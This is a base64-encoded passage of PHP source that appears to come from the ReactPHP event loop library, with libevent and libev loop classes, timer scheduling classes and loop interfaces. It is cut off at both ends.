m90ZWN0ZWQgZnVuY3Rpb24gcmVtb3ZlU3RyZWFtRXZlbnQoJHN0cmVhbSwgJGV2ZW50Q2xhc3MsICR0eXBlKQogICAgewogICAgICAgICRpZCA9IChpbnQpICRzdHJlYW07CgogICAgICAgIGlmIChpc3NldCgkdGhpcy0+ZXZlbnRzWyRpZF0pKSB7CiAgICAgICAgICAgICRmbGFncyA9ICR0aGlzLT5mbGFnc1skaWRdICYgfiRldmVudENsYXNzOwoKICAgICAgICAgICAgaWYgKCRmbGFncyA9PT0gMCkgewogICAgICAgICAgICAgICAgLy8gUmVtb3ZlIGlmIHN0cmVhbSBpcyBub3Qgc3Vic2NyaWJlZCB0byBhbnkgZXZlbnQgYXQgdGhpcyBwb2ludC4KICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVtb3ZlU3RyZWFtKCRzdHJlYW0pOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkZXZlbnQgPSAkdGhpcy0+ZXZlbnRzWyRpZF07CgogICAgICAgICAgICBldmVudF9kZWwoJGV2ZW50KTsKICAgICAgICAgICAgZXZlbnRfZnJlZSgkZXZlbnQpOwogICAgICAgICAgICB1bnNldCgkdGhpcy0+eyJ7JHR5cGV9Q2FsbGJhY2tzIn1bJGlkXSk7CgogICAgICAgICAgICAkZXZlbnQgPSBldmVudF9uZXcoKTsKICAgICAgICAgICAgZXZlbnRfc2V0KCRldmVudCwgJHN0cmVhbSwgJGZsYWdzIHwgRVZfUEVSU0lTVCwgJHRoaXMtPmNhbGxiYWNrLCAkdGhpcyk7CiAgICAgICAgICAgIGV2ZW50X2Jhc2Vfc2V0KCRldmVudCwgJHRoaXMtPmJhc2UpOwogICAgICAgICAgICBldmVudF9hZGQoJGV2ZW50KTsKCiAgICAgICAgICAgICR0aGlzLT5ldmVudHNbJGlkXSA9ICRldmVudDsKICAgICAgICAgICAgJHRoaXMtPmZsYWdzWyRpZF0gPSAkZmxhZ3M7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZW1vdmVTdHJlYW0oJHN0cmVhbSkKICAgIHsKICAgICAgICAkaWQgPSAoaW50KSAkc3RyZWFtOwoKICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPmV2ZW50c1skaWRdKSkgewogICAgICAgICAgICAkZXZlbnQgPSAkdGhpcy0+ZXZlbnRzWyRpZF07CgogICAgICAgICAgICB1bnNldCgKICAgICAgICAgICAgICAgICR0aGlzLT5ldmVudHNbJGlkXSwKICAgICAgICAgICAgICAgICR0aGlzLT5mbGFnc1skaWRdLAogICAgICAgICAgICAgICAgJHRoaXMtPnJlYWRDYWxsYmFja3NbJGlkXSwKICAgICAgICAgICAgICAgICR0aGlzLT53cml0ZUNhbGxiYWNrc1skaWRdCiAgICAgICAgICAgICk7CgogICAgICAgICAgICBldmVudF9kZWwoJGV2ZW50KTsKICAgICAgICAgICAgZXZlbnRfZnJlZSgkZXZlbnQpOwogICAgICAgIH0KICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkVGltZXJJbnRlcm5hbCgkaW50ZXJ2YWwsICRjYWxsYmFjaywgJHBlcmlvZGljID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKCRpbnRlcnZhbCA8IHNlbGY6Ok1JTl9USU1FUl9SRVNPTFVUSU9OKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCdUaW1lciBldmVudHMgZG8gbm90IHN1cHBvcnQgc3ViLW1pbGxpc2Vjb25kIHRpbWVvdXRzLicpOwogICAgICAgIH0KCiAgICAgICAgJHRpbWVyID0gbmV3IFRpbWVyKCR0aGlzLCAkaW50ZXJ2YWwsICRjYWxsYmFjaywgJHBlcmlvZGljKTsKICAgICAgICAkcmVzb3VyY2UgPSBldmVudF9uZXcoKTsKCiAgICAgICAgJHRpbWVycyA9ICR0aGlzLT50aW1lcnM7CiAgICAgICAgJHRpbWVycy0+YXR0YWNoKCR0aW1lciwgJHJlc291cmNlKTsKCiAgICAgICAgJGNhbGxiYWNrID0gZnVuY3Rpb24gKCkgdXNlICgkdGltZXJzLCAkdGltZXIsICYkY2FsbGJhY2spIHsKICAgICAgICAgICAgaWYgKGlzc2V0KCR0aW1lcnNbJHRpbWVyXSkpIHsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCR0aW1lci0+Z2V0Q2FsbGJhY2soKSwgJHRpbWVyKTsKCiAgICAgICAgICAgICAgICBpZiAoJHRpbWVyLT5pc1BlcmlvZGljKCkgJiYgaXNzZXQoJHRpbWVyc1skdGltZXJdKSkgewogICAgICAgICAgICAgICAgICAgIGV2ZW50X2FkZCgkdGltZXJzWyR0aW1lcl0sICR0aW1lci0+Z2V0SW50ZXJ2YWwoKSAqIDEwMDAwMDApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdGltZXItPmNhbmNlbCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfTsKCiAgICAgICAgZXZlbnRfdGltZXJfc2V0KCRyZXNvdXJjZSwgJGNhbGxiYWNrKTsKICAgICAgICBldmVudF9iYXNlX3NldCgkcmVzb3VyY2UsICR0aGlzLT5iYXNlKTsKICAgICAgICBldmVudF9hZGQoJHJlc291cmNlLCAkaW50ZXJ2YWwgKiAxMDAwMDAwKTsKCiAgICAgICAgcmV0dXJuICR0aW1lcjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkVGltZXIoJGludGVydmFsLCAkY2FsbGJhY2spCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRUaW1lckludGVybmFsKCRpbnRlcnZhbCwgJGNhbGxiYWNrKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkUGVyaW9kaWNUaW1lcigkaW50ZXJ2YWwsICRjYWxsYmFjaykKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFkZFRpbWVySW50ZXJuYWwoJGludGVydmFsLCAkY2FsbGJhY2ssIHRydWUpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjYW5jZWxUaW1lcihUaW1lckludGVyZmFjZSAkdGltZXIpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT50aW1lcnNbJHRpbWVyXSkpIHsKICAgICAgICAgICAgJHJlc291cmNlID0gJHRoaXMtPnRpbWVyc1skdGltZXJdOwogICAgICAgICAgICBldmVudF9kZWwoJHJlc291cmNlKTsKICAgICAgICAgICAgZXZlbnRfZnJlZSgkcmVzb3VyY2UpOwoKICAgICAgICAgICAgJHRoaXMtPnRpbWVycy0+ZGV0YWNoKCR0aW1lcik7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1RpbWVyQWN0aXZlKFRpbWVySW50ZXJmYWNlICR0aW1lcikKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRpbWVycy0+Y29udGFpbnMoJHRpbWVyKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGljaygpCiAgICB7CiAgICAgICAgZXZlbnRfYmFzZV9sb29wKCR0aGlzLT5iYXNlLCBFVkxPT1BfT05DRSB8IEVWTE9PUF9OT05CTE9DSyk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJ1bigpCiAgICB7CiAgICAgICAgZXZlbnRfYmFzZV9sb29wKCR0aGlzLT5iYXNlKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc3RvcCgpCiAgICB7CiAgICAgICAgZXZlbnRfYmFzZV9sb29wZXhpdCgkdGhpcy0+YmFzZSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxFdmVudExvb3A7Cgp1c2UgU3BsT2JqZWN0U3RvcmFnZTsKdXNlIFJlYWN0XEV2ZW50TG9vcFxUaW1lclxUaW1lcjsKdXNlIFJlYWN0XEV2ZW50TG9vcFxUaW1lclxUaW1lckludGVyZmFjZTsKCi8qKgogKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9tNHJ3M3IvcGhwLWxpYmV2CiAqIEBzZWUgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vMTY4ODIwNAogKi8KY2xhc3MgTGliRXZMb29wIGltcGxlbWVudHMgTG9vcEludGVyZmFjZQp7CiAgICBwcml2YXRlICRsb29wOwogICAgcHJpdmF0ZSAkdGltZXJzOwogICAgcHJpdmF0ZSAkcmVhZEV2ZW50cyA9IGFycmF5KCk7CiAgICBwcml2YXRlICR3cml0ZUV2ZW50cyA9IGFycmF5KCk7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcCA9IG5ldyBcbGliZXZcRXZlbnRMb29wKCk7CiAgICAgICAgJHRoaXMtPnRpbWVycyA9IG5ldyBTcGxPYmplY3RTdG9yYWdlKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFJlYWRTdHJlYW0oJHN0cmVhbSwgJGxpc3RlbmVyKQogICAgewogICAgICAgICR0aGlzLT5hZGRTdHJlYW0oJHN0cmVhbSwgJGxpc3RlbmVyLCBcbGliZXZcSU9FdmVudDo6UkVBRCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFdyaXRlU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lcikKICAgIHsKICAgICAgICAkdGhpcy0+YWRkU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lciwgXGxpYmV2XElPRXZlbnQ6OldSSVRFKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlUmVhZFN0cmVhbSgkc3RyZWFtKQogICAgewogICAgICAgICR0aGlzLT5yZWFkRXZlbnRzWyhpbnQpJHN0cmVhbV0tPnN0b3AoKTsKICAgICAgICB1bnNldCgkdGhpcy0+cmVhZEV2ZW50c1soaW50KSRzdHJlYW1dKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlV3JpdGVTdHJlYW0oJHN0cmVhbSkKICAgIHsKICAgICAgICAkdGhpcy0+d3JpdGVFdmVudHNbKGludCkkc3RyZWFtXS0+c3RvcCgpOwogICAgICAgIHVuc2V0KCR0aGlzLT53cml0ZUV2ZW50c1soaW50KSRzdHJlYW1dKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlU3RyZWFtKCRzdHJlYW0pCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5yZWFkRXZlbnRzWyhpbnQpJHN0cmVhbV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5yZW1vdmVSZWFkU3RyZWFtKCRzdHJlYW0pOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT53cml0ZUV2ZW50c1soaW50KSRzdHJlYW1dKSkgewogICAgICAgICAgICAkdGhpcy0+cmVtb3ZlV3JpdGVTdHJlYW0oJHN0cmVhbSk7CiAgICAgICAgfQogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lciwgJGZsYWdzKQogICAgewogICAgICAgICRsaXN0ZW5lciA9ICR0aGlzLT53cmFwU3RyZWFtTGlzdGVuZXIoJHN0cmVhbSwgJGxpc3RlbmVyLCAkZmxhZ3MpOwogICAgICAgICRldmVudCA9IG5ldyBcbGliZXZcSU9FdmVudCgkbGlzdGVuZXIsICRzdHJlYW0sICRmbGFncyk7CiAgICAgICAgJHRoaXMtPmxvb3AtPmFkZCgkZXZlbnQpOwoKICAgICAgICBpZiAoKCRmbGFncyAmIFxsaWJldlxJT0V2ZW50OjpSRUFEKSA9PT0gJGZsYWdzKSB7CiAgICAgICAgICAgICR0aGlzLT5yZWFkRXZlbnRzWyhpbnQpJHN0cmVhbV0gPSAkZXZlbnQ7CiAgICAgICAgfSBlbHNlaWYgKCgkZmxhZ3MgJiBcbGliZXZcSU9FdmVudDo6V1JJVEUpID09PSAkZmxhZ3MpIHsKICAgICAgICAgICAgJHRoaXMtPndyaXRlRXZlbnRzWyhpbnQpJHN0cmVhbV0gPSAkZXZlbnQ7CiAgICAgICAgfQogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gd3JhcFN0cmVhbUxpc3RlbmVyKCRzdHJlYW0sICRsaXN0ZW5lciwgJGZsYWdzKQogICAgewogICAgICAgIGlmICgoJGZsYWdzICYgXGxpYmV2XElPRXZlbnQ6OlJFQUQpID09PSAkZmxhZ3MpIHsKICAgICAgICAgICAgJHJlbW92ZUNhbGxiYWNrID0gYXJyYXkoJHRoaXMsICdyZW1vdmVSZWFkU3RyZWFtJyk7CiAgICAgICAgfSBlbHNlaWYgKCgkZmxhZ3MgJiBcbGliZXZcSU9FdmVudDo6V1JJVEUpID09PSAkZmxhZ3MpIHsKICAgICAgICAgICAgJHJlbW92ZUNhbGxiYWNrID0gYXJyYXkoJHRoaXMsICdyZW1vdmVXcml0ZVN0cmVhbScpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uICgkZXZlbnQpIHVzZSAoJHN0cmVhbSwgJGxpc3RlbmVyLCAkcmVtb3ZlQ2FsbGJhY2spIHsKICAgICAgICAgICAgaWYgKGZlb2YoJHN0cmVhbSkpIHsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCRyZW1vdmVDYWxsYmFjaywgJHN0cmVhbSk7CgogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CgogICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkbGlzdGVuZXIsICRzdHJlYW0pOwogICAgICAgIH07CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFRpbWVyKCRpbnRlcnZhbCwgJGNhbGxiYWNrKQogICAgewogICAgICAgICR0aW1lciA9IG5ldyBUaW1lcigkdGhpcywgJGludGVydmFsLCAkY2FsbGJhY2ssIGZhbHNlKTsKICAgICAgICAkdGhpcy0+c2V0dXBUaW1lcigkdGltZXIpOwoKICAgICAgICByZXR1cm4gJHRpbWVyOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRQZXJpb2RpY1RpbWVyKCRpbnRlcnZhbCwgJGNhbGxiYWNrKQogICAgewogICAgICAgICR0aW1lciA9IG5ldyBUaW1lcigkdGhpcywgJGludGVydmFsLCAkY2FsbGJhY2ssIHRydWUpOwogICAgICAgICR0aGlzLT5zZXR1cFRpbWVyKCR0aW1lcik7CgogICAgICAgIHJldHVybiAkdGltZXI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNhbmNlbFRpbWVyKFRpbWVySW50ZXJmYWNlICR0aW1lcikKICAgIHsKICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPnRpbWVyc1skdGltZXJdKSkgewogICAgICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlKCR0aGlzLT50aW1lcnNbJHRpbWVyXSk7CiAgICAgICAgICAgICR0aGlzLT50aW1lcnMtPmRldGFjaCgkdGltZXIpOwogICAgICAgIH0KICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNldHVwVGltZXIoVGltZXJJbnRlcmZhY2UgJHRpbWVyKQogICAgewogICAgICAgICRkdW1teUNhbGxiYWNrID0gZnVuY3Rpb24gKCkge307CiAgICAgICAgJGludGVydmFsID0gJHRpbWVyLT5nZXRJbnRlcnZhbCgpOwoKICAgICAgICBpZiAoJHRpbWVyLT5pc1BlcmlvZGljKCkpIHsKICAgICAgICAgICAgJGxpYmV2VGltZXIgPSBuZXcgXGxpYmV2XFRpbWVyRXZlbnQoJGR1bW15Q2FsbGJhY2ssICRpbnRlcnZhbCwgJGludGVydmFsKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbGliZXZUaW1lciA9IG5ldyBcbGliZXZcVGltZXJFdmVudCgkZHVtbXlDYWxsYmFjaywgJGludGVydmFsKTsKICAgICAgICB9CgogICAgICAgICRsaWJldlRpbWVyLT5zZXRDYWxsYmFjayhmdW5jdGlvbiAoKSB1c2UgKCR0aW1lcikgewogICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkdGltZXItPmdldENhbGxiYWNrKCksICR0aW1lcik7CgogICAgICAgICAgICBpZiAoISR0aW1lci0+aXNQZXJpb2RpYygpKSB7CiAgICAgICAgICAgICAgICAkdGltZXItPmNhbmNlbCgpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CgogICAgICAgICR0aGlzLT50aW1lcnMtPmF0dGFjaCgkdGltZXIsICRsaWJldlRpbWVyKTsKICAgICAgICAkdGhpcy0+bG9vcC0+YWRkKCRsaWJldlRpbWVyKTsKCiAgICAgICAgcmV0dXJuICR0aW1lcjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNUaW1lckFjdGl2ZShUaW1lckludGVyZmFjZSAkdGltZXIpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT50aW1lcnMtPmNvbnRhaW5zKCR0aW1lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRpY2soKQogICAgewogICAgICAgICR0aGlzLT5sb29wLT5ydW4oXGxpYmV2XEV2ZW50TG9vcDo6UlVOX09OQ0UpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oKQogICAgewogICAgICAgICR0aGlzLT5sb29wLT5ydW4oKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc3RvcCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmxvb3AtPmJyZWFrTG9vcCgpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRXZlbnRMb29wXFRpbWVyOwoKdXNlIFNwbE9iamVjdFN0b3JhZ2U7CnVzZSBTcGxQcmlvcml0eVF1ZXVlOwp1c2UgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uOwoKY2xhc3MgVGltZXJzCnsKICAgIGNvbnN0IE1JTl9SRVNPTFVUSU9OID0gMC4wMDE7CgogICAgcHJpdmF0ZSAkdGltZTsKICAgIHByaXZhdGUgJHRpbWVyczsKICAgIHByaXZhdGUgJHNjaGVkdWxlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT50aW1lcnMgPSBuZXcgU3BsT2JqZWN0U3RvcmFnZSgpOwogICAgICAgICR0aGlzLT5zY2hlZHVsZXIgPSBuZXcgU3BsUHJpb3JpdHlRdWV1ZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB1cGRhdGVUaW1lKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRpbWUgPSBtaWNyb3RpbWUodHJ1ZSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldFRpbWUoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+dGltZSA/OiAkdGhpcy0+dXBkYXRlVGltZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBhZGQoVGltZXJJbnRlcmZhY2UgJHRpbWVyKQogICAgewogICAgICAgICRpbnRlcnZhbCA9ICR0aW1lci0+Z2V0SW50ZXJ2YWwoKTsKCiAgICAgICAgaWYgKCRpbnRlcnZhbCA8IHNlbGY6Ok1JTl9SRVNPTFVUSU9OKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ1RpbWVyIGV2ZW50cyBkbyBub3Qgc3VwcG9ydCBzdWItbWlsbGlzZWNvbmQgdGltZW91dHMuJyk7CiAgICAgICAgfQoKICAgICAgICAkc2NoZWR1bGVkQXQgPSAkaW50ZXJ2YWwgKyAkdGhpcy0+Z2V0VGltZSgpOwoKICAgICAgICAkdGhpcy0+dGltZXJzLT5hdHRhY2goJHRpbWVyLCAkc2NoZWR1bGVkQXQpOwogICAgICAgICR0aGlzLT5zY2hlZHVsZXItPmluc2VydCgkdGltZXIsIC0kc2NoZWR1bGVkQXQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjb250YWlucyhUaW1lckludGVyZmFjZSAkdGltZXIpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT50aW1lcnMtPmNvbnRhaW5zKCR0aW1lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNhbmNlbChUaW1lckludGVyZmFjZSAkdGltZXIpCiAgICB7CiAgICAgICAgJHRoaXMtPnRpbWVycy0+ZGV0YWNoKCR0aW1lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldEZpcnN0KCkKICAgIHsKICAgICAgICBpZiAoJHRoaXMtPnNjaGVkdWxlci0+aXNFbXB0eSgpKSB7CiAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0KCiAgICAgICAgJHNjaGVkdWxlZEF0ID0gJHRoaXMtPnRpbWVyc1skdGhpcy0+c2NoZWR1bGVyLT50b3AoKV07CgogICAgICAgIHJldHVybiAkc2NoZWR1bGVkQXQ7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGlzRW1wdHkoKQogICAgewogICAgICAgIHJldHVybiBjb3VudCgkdGhpcy0+dGltZXJzKSA9PT0gMDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGljaygpCiAgICB7CiAgICAgICAgJHRpbWUgPSAkdGhpcy0+dXBkYXRlVGltZSgpOwogICAgICAgICR0aW1lcnMgPSAkdGhpcy0+dGltZXJzOwogICAgICAgICRzY2hlZHVsZXIgPSAkdGhpcy0+c2NoZWR1bGVyOwoKICAgICAgICB3aGlsZSAoISRzY2hlZHVsZXItPmlzRW1wdHkoKSkgewogICAgICAgICAgICAkdGltZXIgPSAkc2NoZWR1bGVyLT50b3AoKTsKCiAgICAgICAgICAgIGlmICghaXNzZXQoJHRpbWVyc1skdGltZXJdKSkgewogICAgICAgICAgICAgICAgJHNjaGVkdWxlci0+ZXh0cmFjdCgpOwogICAgICAgICAgICAgICAgJHRpbWVycy0+ZGV0YWNoKCR0aW1lcik7CgogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkdGltZXJzWyR0aW1lcl0gPj0gJHRpbWUpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkc2NoZWR1bGVyLT5leHRyYWN0KCk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCR0aW1lci0+Z2V0Q2FsbGJhY2soKSwgJHRpbWVyKTsKCiAgICAgICAgICAgIGlmICgkdGltZXItPmlzUGVyaW9kaWMoKSAmJiBpc3NldCgkdGltZXJzWyR0aW1lcl0pKSB7CiAgICAgICAgICAgICAgICAkdGltZXJzWyR0aW1lcl0gPSAkc2NoZWR1bGVkQXQgPSAkdGltZXItPmdldEludGVydmFsKCkgKyAkdGltZTsKICAgICAgICAgICAgICAgICRzY2hlZHVsZXItPmluc2VydCgkdGltZXIsIC0kc2NoZWR1bGVkQXQpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRpbWVycy0+ZGV0YWNoKCR0aW1lcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxFdmVudExvb3BcVGltZXI7Cgp1c2UgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uOwp1c2UgUmVhY3RcRXZlbnRMb29wXExvb3BJbnRlcmZhY2U7CgpjbGFzcyBUaW1lciBpbXBsZW1lbnRzIFRpbWVySW50ZXJmYWNlCnsKICAgIHByb3RlY3RlZCAkbG9vcDsKICAgIHByb3RlY3RlZCAkaW50ZXJ2YWw7CiAgICBwcm90ZWN0ZWQgJGNhbGxiYWNrOwogICAgcHJvdGVjdGVkICRwZXJpb2RpYzsKICAgIHByb3RlY3RlZCAkZGF0YTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoTG9vcEludGVyZmFjZSAkbG9vcCwgJGludGVydmFsLCAkY2FsbGJhY2ssICRwZXJpb2RpYyA9IGZhbHNlLCAkZGF0YSA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGZhbHNlID09PSBpc19jYWxsYWJsZSgkY2FsbGJhY2spKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ1RoZSBjYWxsYmFjayBhcmd1bWVudCBtdXN0IGJlIGEgdmFsaWQgY2FsbGFibGUgb2JqZWN0Jyk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+bG9vcCA9ICRsb29wOwogICAgICAgICR0aGlzLT5pbnRlcnZhbCA9IChmbG9hdCkgJGludGVydmFsOwogICAgICAgICR0aGlzLT5jYWxsYmFjayA9ICRjYWxsYmFjazsKICAgICAgICAkdGhpcy0+cGVyaW9kaWMgPSAoYm9vbCkgJHBlcmlvZGljOwogICAgICAgICR0aGlzLT5kYXRhID0gbnVsbDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TG9vcCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sb29wOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRJbnRlcnZhbCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5pbnRlcnZhbDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q2FsbGJhY2soKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+Y2FsbGJhY2s7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNldERhdGEoJGRhdGEpCiAgICB7CiAgICAgICAgJHRoaXMtPmRhdGEgPSAkZGF0YTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0RGF0YSgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5kYXRhOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1BlcmlvZGljKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnBlcmlvZGljOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc0FjdGl2ZSgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sb29wLT5pc1RpbWVyQWN0aXZlKCR0aGlzKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY2FuY2VsKCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcC0+Y2FuY2VsVGltZXIoJHRoaXMpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRXZlbnRMb29wXFRpbWVyOwoKaW50ZXJmYWNlIFRpbWVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb29wKCk7CiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SW50ZXJ2YWwoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDYWxsYmFjaygpOwogICAgcHVibGljIGZ1bmN0aW9uIHNldERhdGEoJGRhdGEpOwogICAgcHVibGljIGZ1bmN0aW9uIGdldERhdGEoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1BlcmlvZGljKCk7CiAgICBwdWJsaWMgZnVuY3Rpb24gaXNBY3RpdmUoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBjYW5jZWwoKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XEV2ZW50TG9vcDsKCnVzZSBSZWFjdFxFdmVudExvb3BcVGltZXJcVGltZXJJbnRlcmZhY2U7CgppbnRlcmZhY2UgTG9vcEludGVyZmFjZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkUmVhZFN0cmVhbSgkc3RyZWFtLCAkbGlzdGVuZXIpOwogICAgcHVibGljIGZ1bmN0aW9uIGFkZFdyaXRlU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lcik7CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZVJlYWRTdHJlYW0oJHN0cmVhbSk7CiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlV3JpdGVTdHJlYW0oJHN0cmVhbSk7CiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlU3RyZWFtKCRzdHJlYW0pOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRUaW1lcigkaW50ZXJ2YWwsICRjYWxsYmFjayk7CiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkUGVyaW9kaWNUaW1lcigkaW50ZXJ2YWwsICRjYWxsYmFjayk7CiAgICBwdWJsaWMgZnVuY3Rpb24gY2FuY2VsVGltZXIoVGltZXJJbnRlcmZhY2UgJHRpbWVyKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1RpbWVyQWN0aXZlKFRpbWVySW50ZXJmYWNlICR0aW1lcik7CgogICAgcHVibGljIGZ1bmN0aW9uIHRpY2soKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBzdG9wKCk7Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxDYWNoZTsKCmludGVyZmFjZSBDYWNoZUludGVyZmFjZQp7CiAgICAvLyBAcmV0dXJuIFJlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZQogICAgcHVibGl